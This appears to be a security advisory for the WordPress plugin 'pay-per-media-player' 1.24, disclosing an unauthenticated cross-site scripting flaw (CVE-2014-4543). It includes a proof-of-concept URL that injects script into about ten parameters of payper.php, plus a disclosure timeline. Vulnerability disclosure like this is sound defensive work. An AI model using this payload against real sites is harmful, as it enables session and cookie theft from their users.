wp-plugin : pay-per-media-player

Plugin Details
Plugin Name: wp-plugin : pay-per-media-player
Effected Version : 1.24 (and most probably lower version's if any)
Vulnerability : Cross-Site Scripting (XSS)
Identified by : prajalkulkarni
WPScan Reference URL

Technical Details
Minimum Level of Access Required : Unauthenticated
PoC - (Proof of Concept) :

http://127.0.0.1/wordpress/wp-content/wp-plugs/paypermediaplayer/payper/payper.php?fcolor=fcolor%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&links=links%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&stitle=stitle%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&height=height%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&width=width%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&host=host%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&bcolor=bcolor%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&msg=msg%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&id=id%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&size=size%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&


Disclosure Timeline
Vendor Contacted : 2014-01-22
Plugin Status : Updated on 2014-01-11
Public Disclosure : May 25, 2014
CVE Number : CVE-2014-4543
Plugin Description :
[| a Player Free Features Supports MP4 video format Supports XML based Media Playlist Supports Unicode Social Links Facebook / Twitter Works in IE, Safari, Firefox, Chrome, Opera, mobile devices including Android/iOS Player have shortcode for post/page [payper id=ID] i.e. [payper id=1] Paid Features Supports audio, video formats Pay per view or buy now option Color / Size Customization Social Link Customization Multiple player on same page / post Supports Red5 / Wowza / Amazon Cloud Front / S3 HTTP Streaming / Live / VoD Facebook page customization with player Best support on email ]